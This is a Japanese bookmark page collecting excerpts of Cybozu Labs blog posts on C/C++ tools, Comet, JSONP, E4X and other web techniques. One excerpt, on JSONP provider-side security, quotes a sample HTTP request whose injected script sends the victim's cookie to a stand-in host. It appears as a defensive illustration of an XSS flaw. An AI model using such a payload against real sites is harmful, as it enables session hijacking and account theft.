タグ

ブックマーク / labs.cybozu.co.jp (32)

  • Kazuho@Cybozu Labs: Cインタプリタ アーカイブ

    2006年07月13日 Collatz 予想 キミならどう書く 2.0 - ROUND 2 - について。 いきなり brainf*ck で書く元気はないので、とりあえず C に起こしてみました。bf 化をにらみつつコード短縮をかねてループや判定条件を 0 基準に変更していったら、こんな感じになりました。 続きを読む "Collatz 予想" 投稿者 kazuho : 2006年07月13日 11:15 | トラックバック (0) 2006年06月26日 C で tail に queue は不要 なんか C で tail を書くのが流行っているらしいので参戦します。 はこべさんや弾さんの例だと、動的なデータ構造を使っているが、これは牛刀だと思いました。少なくとも、djb 先生のお好きな回答でないことは確かです (^^; C で書くとしたら、やはり目的に特化したデータ構造を使うことで、速度と

    wacky
    wacky 2009/11/12
    コマンドラインでのワンライナー処理も可能なC言語インタプリタ「C」。GPLライセンス。(リリース: http://labs.cybozu.co.jp/blog/kazuho/archives/2006/01/large_c.php
  • 金属バットを買った人はこんな商品も買っています

    Photoshopとかで作られたニセ画像かと思いきや、ドイツAmazonで、実際に今も表示されています。(注: 執筆時は表示されていました。現在は消えています) 金属バットの商品ページでオススメされた商品群。唐辛子スプ […] Photoshopとかで作られたニセ画像かと思いきや、ドイツAmazonで、実際に今も表示されています。(注: 執筆時は表示されていました。現在は消えています) 金属バットの商品ページでオススメされた商品群。唐辛子スプレー、フルマスクに手袋。 この一式でやるのは… どうみても野球じゃないですね [追記] 考えてみると、ドイツで野球やる人なんてほとんどいないだろうから、売れる数も少ないんでしょうね。 ドイツのアマゾンで金属バットを売ってること自体も妙に見えますが、そこはなんでも手広く揃えるアマゾンのすごさということでしょう。 そして、目的外利用みたいな購入があると

    金属バットを買った人はこんな商品も買っています
    wacky
    wacky 2009/09/16
    ドイツAmazonの金属バット商品ページに表示される関連商品が不穏すぎる件。
  • Kazuho@Cybozu Labs: なんとなくリフレクション in C

    « MySQL の ORDER BY を高速化 | メイン | C++ で自動型変換 » 2008年06月25日 なんとなくリフレクション in C++ C++ はとてもいい言語なのですが、リフレクションがありません。昨夜、1年ぶりくらいに C++ でリフレクションしたい熱に感染したのですが、ちょっとググった範囲では良いものが見つからなかったので、作ってみました (単に作りたかっただけという説も)。こんな感じで使います。 #include "reflection.hpp" struct Foo { int i; std::string s; }; // リフレクション情報を定義 namespace reflection { template <> struct def<Foo> : public def_base<Foo> { def() { REFLECTION(i); REFLECTI

    wacky
    wacky 2008/06/26
    C++用のリフレクションライブラリ。
  • Kazuho@Cybozu Labs: フレンド・タイムライン処理の原理と実践

    « MySQL のクエリ最適化における、もうひとつの検証方法 | メイン | MySQL (InnoDB) に直接アクセスしてタイムライン処理を高速化する話 » 2008年06月09日 フレンド・タイムライン処理の原理と実践 MySQL (InnoDB) に直接アクセスしてタイムライン処理を高速化する話に続きます。 Twitter が注目されるようになって久しい今日この頃ですが、友人の投稿を時系列に並べて表示する、というのは、Twitter に限らず Mixi の「マイミクシィ最新日記」やはてなブックマークの「お気に入り」等、ソーシャルなウェブサービスにおいては一般的な手法です。ですが、この処理 (以下「フレンド・タイムライン」と呼ぶ) は、一見簡単そうに見えて、実装には様々な困難が伴います。記事では、「フレンド・タイムライン」を実現する、プッシュ型とプル型の二種類の手法について、その原

    wacky
    wacky 2008/06/09
    (twitterやSBMで)友人の投稿を時系列に並べて表示する処理「フレンド・タイムライン」について。原理的な特徴と問題、実践的なテクニック。プッシュ型とプル型。
  • Silverlight 2 SDK+JavaScriptで無償の開発環境を作る #1 [環境整備編] (Neutral Scent)

    先日公開されたSilverlight2のSDKを利用すると、Visual StudioやExpression Studio等の開発環境やアプリを全く利用することなく、素の状態のWindows (いや、それどころかMacでも...) でSilverligh2の開発を行うことができます。 やり方がわかってしまえば非常に単純なのですが、そもそもSilverlight2でDLR(Dynamic Language Runtime: LL実行環境)を使用した開発に関する情報がまだほとんど出回っておらず、いろいろ苦労したので、そのあたりをまとめておきます。 以下、ちょっとクド目ですが、素のWindowsnotepad(メモ帳)だけで開発できるよ、という手順をご紹介。 必要な環境: Windows XP 以降 .NET Framework 2.0 (たぶん) 英語が読める人 (現時点でほとんどの資料は英

    wacky
    wacky 2008/04/24
    Silverlight 2 SDKとメモ帳だけで始めるSilverligh2入門。連載記事。
  • Kazuho@Cybozu Labs: 高速なCometサーバを書いてみた件

    « Pathtraq 最新ランキング ガジェットを公開しました | メイン | Q4M (Queue for MySQL) 0.3 リリース » 2008年03月10日 高速なCometサーバを書いてみた件 もう昨年の2月になりますが、Comet について調査を行いました。その際の成果をまとめたスライドは既に公開していた (Comet の正しい使い方) のですが、同時に実際に作ってみた実装についても、オープンソース化することとなりました。コードは CodeRepos に置いておきますので、どうぞご覧ください。 (Revision 7754: /lang/perl/fastr) 使い方は example ディレクトリ以下を見ていただくとして、ベンチマークの結果とチューニング手法について、記録と記憶に残っている範囲からまとめておきたいと思います。 パフォーマンスについて まず、パフォーマンスに

    wacky
    wacky 2008/03/10
    Perl実装による高速なCometサーバをオープンソース化。
  • TAKESAKO @ Yet another Cybozu Labs: KB942840の更新でJScript.DLLが高速になった(IE6/WindowsXP)

    Windows XP 用の更新プログラム (KB942840) で、JScriptエンジンのガベージコレクション(GC)のアルゴリズムが変更されて、 Ajaxをゴリゴリ使っているWebサイトでIE6の体感速度がかなり改善された(JavaScript実行途中で固まることがなくなった)模様。 Windows Server 2003 ベースのコンピュータまたは Windows XP ベースのコンピュータで Internet Explorer 6 の JScript を使用する Web ページを表示すると、パフォーマンスの Web ブラウザ低下が発生することがあります。 原因 スクリプトが多くの変数を同時に作成すると、この問題は、発生することがあります。 また、この問題が同じ時刻で解析される一意の多くの値がスクリプトに含まれる場合、発生することがあります。 この問題は JScript エンジンがガ

    wacky
    wacky 2007/12/17
    「Windows XP 用の更新プログラム (KB942840) 」でJScript.dllが置き換えられることにより、一部のケースでスクリプトの体感速度が上がる模様。(WinXP/IE6限定)
  • Kazuho@Cybozu Labs: Japanize - Internet Explorer に対応しました

    « CGI::Application 用にディスパッチャ兼パーマリンクジェネレータを書いてみた | メイン | Pathtraq サービス中断のお知らせ » 2007年11月16日 Japanize - Internet Explorer に対応しました 日、Internet Explorer 用の Japanize 拡張機能 (プラグイン) を公開しました。Japanize のトップページからダウンロード・インストールしていただくことが可能です。 Japanize は、インターネット上の様々なウェブサイトの UI を翻訳 (ローカライズ) するウェブサービスです。2005年8月の公開以来、300人以上の翻訳者による延べ27,000回以上の翻訳データ投稿の結果、翻訳データサイズは4.5MBを超えるまでになりました。Flickr! や Twitter といった人気の英語サイトを含む550以

    wacky
    wacky 2007/11/16
    WebアプリケーションのUIを日本語化するサービス「Japanize」のIEにも対応。IE用アドオンをリリース。
  • Webページの本文抽出 (nakatani @ cybozu labs)

    Webページの自動カテゴライズ の続き。 前回書いたとおり、パストラックで行っている Web ページのカテゴライズでは、Web ページの文抽出がひとつの鍵になっています。今回はその文抽出モジュールを公開しつつ、使っている技法をざっくり解説などしてみます。 モジュールの利用は至極簡単。require して analyse メソッドに解析したい html を与えるだけ。文字コードは UTF-8 です。 【追記】大事なこと書き忘れ。モジュールは Ruby1.8.5 で動作確認していますが、特別なことはしていないので、1.8.x なら動くと思います。 $KCODE="u" # 文字コードは utf-8 require 'extractcontent.rb' # オプション値の指定 opt = {:waste_expressions => /お問い合わせ|会社概要/} ExtractCont

    wacky
    wacky 2007/10/30
    与えられたHTMLテキストから本文と思わしきテキストを抽出するRubyモジュール。サイボウズ・ラボのPathtraqでも使用。
  • Kazuho@Cybozu Labs: サーバシグニチャは隠さないのが当たり前

    « Pathtraq バージョンアップのおしらせ - サイドバー表示に対応 | メイン | Perl から MySQL に非同期アクセスする方法 » 2007年09月05日 サーバシグニチャは隠さないのが当たり前 ウェブサーバ(Apache)で、404などのエラーページを表示したとき、ヘッダやページの下にApacheやOSのバージョンが表示されます。こういったサーバ情報をわざわざ表示する必要はありません。 ウノウラボ Unoh Labs: 5分でできるウェブサーバのセキュリティ向上施策 私も何年も前からセミナーではサーバ、モジュールバージョンは隠すようにと言っています。何故こんな事で賛否両論になるのか全く理解できません。 yohgaki's blog - サーバシグニチャは隠すのが当たり前 Server: ヘッダを隠すメリットについての議論はあるようですが、Server: ヘッダを表示すべ

    wacky
    wacky 2007/09/05
    WebサーバからのレスポンスでServer:ヘッダを隠すべきでない理由。
  • TAKESAKO @ Yet another Cybozu Labs: Operaでも非同期リクエストが並列処理できる img-JSONP

    先日金床さんに教えてもらったOperaで非同期並列JSONPを実行させる方法を実際に試してみたら意外とすんなり動いてしまったので報告します。 最速インターフェース研究会 :: OperaでJSONPを非同期リクエストするより JSONP が Opera だと非同期処理できない http://d.hatena.ne.jp/secondlife/20060906/1157515075 に書かれているとおりOperaだとscript要素を足した瞬間にJavaScriptの実行が止まって、ロード完了まで後続のスクリプトが実行されなくなります。 サンプルコード 改善前(普通のJSONP) Operaはスクリプトを追加するとタイマーが止まる(サンプルページ) http://la.ma.la/misc/js/opera_jsonp_test.html function test(){ var s = d

    wacky
    wacky 2007/06/11
    script要素の動的生成によるJSONリクエストがOperaでは非同期にならない問題の(無理矢理な)回避策。IMGとしてキャッシュさせ、onerrorイベントで処理。
  • 秋元@サイボウズラボ・プログラマー・ブログ: reCAPTCHA - キャプチャを利用した人力高性能OCR

    reCAPTCHA という新サービスはすごい。その構想力には感動させられた。 念のためにCAPTCHA(キャプチャ)について説明しておくと、スパムプログラム(bot)と人間のユーザを見分けるための簡単な(しかし機械にとっ […] reCAPTCHA という新サービスはすごい。その構想力には感動させられた。 念のためにCAPTCHA(キャプチャ)について説明しておくと、スパムプログラム(bot)と人間のユーザを見分けるための簡単な(しかし機械にとっては難しい)クイズのことだ。ある程度ウェブを使っている人なら、ネットサービスの登録時やコメントの書き込み時などに、読みにくく加工されたアルファベットを読まされたりした経験があるだろうと思う。 それらのサイトでは、あなたが人間にしかできないクイズを解いたのを見て、ユーザ登録やコメントの投稿を受け付けたりする仕組みになっているわけだ。文字を読む以外のC

    wacky
    wacky 2007/05/25
    CAPTCHAの一石二鳥な利用法。OCRでコンピュータが解析できなかった文字をCAPTCHAとしてユーザに入力してもらう仕組み。
  • TAKESAKO @ Yet another Cybozu Labs: ニコニコ動画勉強会に行ってきました

    日ドワンゴさんの会議室にてこっそり開催されたニコニコ動画勉強会に参加してきました。 日の動画コメントサービス「ニコニコ動画」の裏側をドワンゴの開発者の方から 直接お話しを聞いて、参加者も一緒に意見交換ができる非常に面白い勉強会でした。 ドワンゴさんとしては会社で行なう技術者向けの勉強会初めての試みということもあり、 まずは開発者の知り合いベースで声をかけあって少人数で開催することにしたそうです。 六木のクラブの人や、バイナリカンファレンスでご一緒した人とこんなところで お会いできるとは思っていませんで、さまに想定の範囲外でした。 その甲斐あって密度の濃い話ができたと思います。 以下、自分用のメモを公開できる範囲で書きます。間違っていたらすみません。(ご指摘いただければすぐに訂正します) ■ニコニコ動画の苦労話 (Sさん) ニコニコ動画の歴史 2006年10月 一人でプロトタイプを開発

    wacky
    wacky 2007/04/26
    ニコニコ動画勉強会のレポート。サーバ構成や負荷分散、開発体制など。
  • throw new CybozuLabsException() - libusbを使うPHP Extensionを作りました

    pearパッケージになっているので、pecl install usb-0.0.1.tgzでインストールできます。できますが、libusb関係のライブラリやソースが必要なので(ubuntuだったら)aptitude install libusb-devするなどして用意してください。

    wacky
    wacky 2007/04/16
    PHPからlibusbを呼ぶためのPHPエクステンション。Windowsでも「がんばれば使えそう」とのこと。
  • TAKESAKO @ Yet another Cybozu Labs: JavaScriptでフォント名一覧を取得する3つの方法

    先月・今月と新しいメンバーが加わったサイボウズ・ラボですが、いま社内でfont-familyが密かなブームです。 ということで、ブラウザで使用できるフォント名一覧をJavaScriptで取得する方法について調べてみました。 ■ 1. IE の Dialog Helper Object を利用してフォント名一覧を取得する IE の Dialog Helper Object を利用して フォント名の一覧を取得する方法がよく知られています。 まず、HTMLの中に以下のOBJECTタグを定義して、 <OBJECT id="dlgHelper" CLASSID="clsid:3050f819-98b5-11cf-bb82-00aa00bdce0b" width="0px" height="0px"> </OBJECT> JavaScriptから以下のコードを実行すると、現在の環境で利用できるフォント

    wacky
    wacky 2007/03/14
    インストールされているフォントをJavaScriptで列挙する方法。IE Dialog Helper Object(IE限定) / FlashのTextField.getFontList() / Javaアプレットの getAllFonts() (IE以外)。
  • Kazuho@Cybozu Labs: JavaScript から Flash の便利な機能を使う方法

    « Comet の正しい使い方 | メイン | キーワード抽出のススメ (Lingua::JA::Summarize がアップデート) » 2007年03月14日 JavaScript から Flash の便利な機能を使う方法 先月・今月と新しいメンバーが加わったサイボウズ・ラボですが、いま社内でfont-familyが密かなブームです。ということで、ブラウザで使用できるフォント名一覧をJavaScriptで取得する方法について調べてみました。 (中略) ■ 2. Flash の TextField.getFontList() を JavaScript から呼び出す (TAKESAKO @ Yet another Cybozu Labs: JavaScriptフォント名一覧を取得する3つの方法) JavaScript から Flash のちょっとした機能を呼び出すためだけに、毎回 Fla

    wacky
    wacky 2007/03/14
    JavaScriptからFlashの機能にアクセスするための汎用的なswfファイル。要FlashPlayer9以上。
  • Kazuho@Cybozu Labs: Comet の正しい使い方

    « 「スーパー技術者争奪戦」 | メイン | JavaScript から Flash の便利な機能を使う方法 » 2007年02月23日 Comet の正しい使い方 今日会社の勉強会で Comet について話す機会がありました。 Comet については、普及するかどうかという以前に、どう使えばいいのか、正しく使った場合に何をどこまでできるのか、という理解が共有されていないように思います。なので、(あくまで私見ですが) 使用したスライドの一部を公開したいと思います。よろしければごらんください。また、問題や改善すべき点があれば、教えていただければ幸いです。

    wacky
    wacky 2007/02/24
    勉強会でのCometに関するプレゼン資料。HTTP仕様との関係、Cometのプログラミングモデルなど。
  • Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて

    « E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;

    wacky
    wacky 2007/01/12
    JSONPサービスの提供側が行うべきセキュリティ上の処理。コールバック関数名の制限、charsetの指定など。
  • Kazuho@Cybozu Labs: E4X-XSS 脆弱性について

    « 安全な JSON, 危険な JSON (Cross-site Including?) | メイン | JSONP - データ提供者側のセキュリティについて » 2007年01月10日 E4X-XSS 脆弱性について Firefox でサポートされている JavaScript 拡張 E4X (ECMA-357) では、JavaScript 内に XML とほぼ同様のマークアップ言語を記述できるようになっています。しかし、マークアップ言語の解釈にはいくつかの違いがあり、この点をついたクロスサイトスクリプティングの可能性が (相当に小さいものの) 存在します。攻撃者は、 ウェブアプリケーションに E4X として解釈した場合に実行コードとして解釈されるコードを注入 (XSS) し、 1 のコンテンツを <script> タグを用いて参照するような別のウェブサイトを用意し、攻撃対象にアクセスさせ

    wacky
    wacky 2007/01/11
    FirefoxでサポートされているJavaScript拡張E4Xを利用したクロスサイトスクリプティング攻撃の可能性。
  • Kazuho@Cybozu Labs: クロスサイトのセキュリティモデル

    « Japanize - IE 系の User JavaScript エンジンに対応しました | メイン | 安全な JSON, 危険な JSON (Cross-site Including?) » 2007年01月04日 クロスサイトのセキュリティモデル あけましておめでとうございます。 昨年、社内で「XMLHttpRequest は何故クロスサイトで使えないのか。画像や SCRIPT タグは使えるのに」という疑問 (というより試問) を耳にしました。おもしろい話なのでブログネタにしようと思っていたのですが、新年早々 GMAIL の事例がスラッシュドットされていたので、自分の現時点での理解をまとめてみることにしました。文書を確認して書いているわけではないので、間違いがあれば指摘してください。また、よい参考文献をご存知の方がいらっしゃいましたら、教えていただければ幸いです。 ウェブブラウザ

    wacky
    wacky 2007/01/04
    Webアプリケーションがクライアントへ返す内容に秘密情報を含めても良い場所/悪い場所。